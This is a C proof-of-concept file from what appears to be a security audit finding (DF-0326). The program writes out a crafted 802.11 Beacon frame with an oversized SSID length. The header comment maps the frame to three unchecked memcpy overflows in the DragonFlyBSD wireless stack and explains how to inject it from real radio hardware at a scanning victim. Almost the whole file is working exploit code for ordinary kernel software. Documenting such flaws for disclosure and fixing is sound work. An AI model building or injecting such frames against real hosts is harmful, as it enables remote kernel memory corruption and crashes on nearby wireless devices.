DF-0326 / beacon_gen.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 | /* * DF-0326 - Crafted 802.11 Beacon generator (proof of concept payload). * * Emits a raw IEEE 802.11 Beacon management frame whose SSID Information * Element carries a deliberately oversized length (default 192). On any * DragonFlyBSD host whose wlan receive path is actually driven by a radio, * this single frame triggers: * * 1. ieee80211_add_scan() scan_sta.c:284 * memcpy(ise->se_ssid, sp->ssid, 2+sp->ssid[1]); // se_ssid[34] overflow * (rate set is KASSERT-guarded at :285; SSID is NOT) * 2. ieee80211_sta_join() ieee80211_node.c:815-816 (STA join) * ni->ni_esslen = se->se_ssid[1]; * memcpy(ni->ni_essid, se->se_ssid+2, ni->ni_esslen); // ni_essid[32] OF * 3. ieee80211_init_neighbor() ieee80211_node.c:1521-1522 (IBSS/Mesh/TDMA) * ni->ni_esslen = sp->ssid[1]; * memcpy(ni->ni_essid, sp->ssid + 2, sp->ssid[1]); // ni_essid[32] OF * * The SSID length check at ieee80211_input.c:680 (IEEE80211_VERIFY_ELEMENT) * only sets the IEEE80211_BPARSE_SSID_INVALID status bit -- which is NEVER * tested by any consumer (grep confirms). So the oversized SSID flows * unimpeded into all three memcpy sinks. * * The KVM audit guest has no 802.11 interface (ifconfig -l -> vtnet0 lo0), * so this frame cannot be injected from inside the guest. This program is * the documented attack payload: emit it to a file (or a monitor-mode VAP * via a pcap injector on real radio hardware) to reproduce live. * * Build: cc -O2 -Wall -o beacon_gen beacon_gen.c * Run: ./beacon_gen [ssid_len] > beacon.bin (default ssid_len=192) * xxd beacon.bin | head # inspect * * On real hardware, inject with an external tool (e.g. scapy/tcpreplay via a * monitor+injection-capable wlan vap) while the victim STA/IBSS is scanning. */ #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <string.h> /* 802.11 frame control / type/subtype (FC0 byte) */ #define IEEE80211_FC0_VERSION_0 0x00 #define IEEE80211_FC0_TYPE_MGT 0x00 #define IEEE80211_FC0_SUBTYPE_BEACON 0x08 /* Information Element IDs */ #define IEEE80211_ELEMID_SSID 0x00 #define IEEE80211_ELEMID_RATES 0x01 #define IEEE80211_ELEMID_DSPARAM 0x03 static void put(const void *p, size_t n) { fwrite(p, 1, n, stdout); } static void put_u8(uint8_t v) { put(&v, 1); } static void put_u16le(uint16_t v) { uint8_t b[2]={v&0xff,(v>>8)&0xff}; put(b,2); } static void put_u64le(uint64_t v) { uint8_t b[8]; for(int i=0;i<8;i++){b[i]=v&0xff;v>>=8;} put(b,8); } int main(int argc, char **argv) { unsigned ssid_len = 192; /* finding's cited payload */ if (argc > 1) ssid_len = (unsigned)strtoul(argv[1], NULL, 0); if (ssid_len > 255) { fprintf(stderr, "ssid_len capped at 255\n"); ssid_len = 255; } if (ssid_len <= 32) fprintf(stderr, "note: ssid_len=%u is within bounds (no overflow)\n", ssid_len); /* IEEE 802.11 Beacon frame */ uint8_t fc0 = IEEE80211_FC0_VERSION_0 | IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_BEACON; uint8_t fc1 = 0x00; /* no flags */ uint8_t dur[2] = {0x00, 0x00}; uint8_t da[6] = {0xff,0xff,0xff,0xff,0xff,0xff}; /* broadcast */ uint8_t sa[6] = {0x00,0x11,0x22,0x33,0x44,0x55}; /* attacker AP */ uint8_t bssid[6] = {0x00,0x11,0x22,0x33,0x44,0x55}; uint8_t seq[2] = {0x00, 0x00}; put_u8(fc0); put_u8(fc1); put(dur, 2); put(da, 6); /* Address 1 (DA) */ put(sa, 6); /* Address 2 (SA) */ put(bssid, 6); /* Address 3 (BSSID) */ put(seq, 2); /* ---- Beacon fixed fields ---- */ put_u64le(0); /* Timestamp */ put_u16le(100); /* Beacon interval (TU) */ put_u16le(0x0401); /* Capability: ESS + Privacy */ /* ---- THE WEAPONIZED INFORMATION ELEMENT ---- * Tag 0 (SSID) with length byte = ssid_len (> 32). The kernel copies * (2 + ssid_len) bytes around without ever bounding ssid_len. */ put_u8(IEEE80211_ELEMID_SSID); /* element ID = 0 */ put_u8((uint8_t)ssid_len); /* length byte: 192 (or 255) */ for (unsigned i = 0; i < ssid_len; i++) put_u8((uint8_t)('A' + (i % 26))); /* attacker-controlled SSID bytes */ /* Supported Rates IE (valid, to satisfy parse) -- KASSERT-guarded */ put_u8(IEEE80211_ELEMID_RATES); put_u8(4); put_u8(0x82); put_u8(0x84); put_u8(0x8b); put_u8(0x96); /* DS Parameter Set (channel) */ put_u8(IEEE80211_ELEMID_DSPARAM); put_u8(1); put_u8(6); /* channel 6 */ fprintf(stderr, "DF-0326 beacon emitted: ssid_len=%u (>32 triggers the ni_essid[32] overflow;\n" " ni_rates + ni_chan pointer are clobbered). Total %u SSID bytes attack-controlled.\n", ssid_len, ssid_len); return 0; } |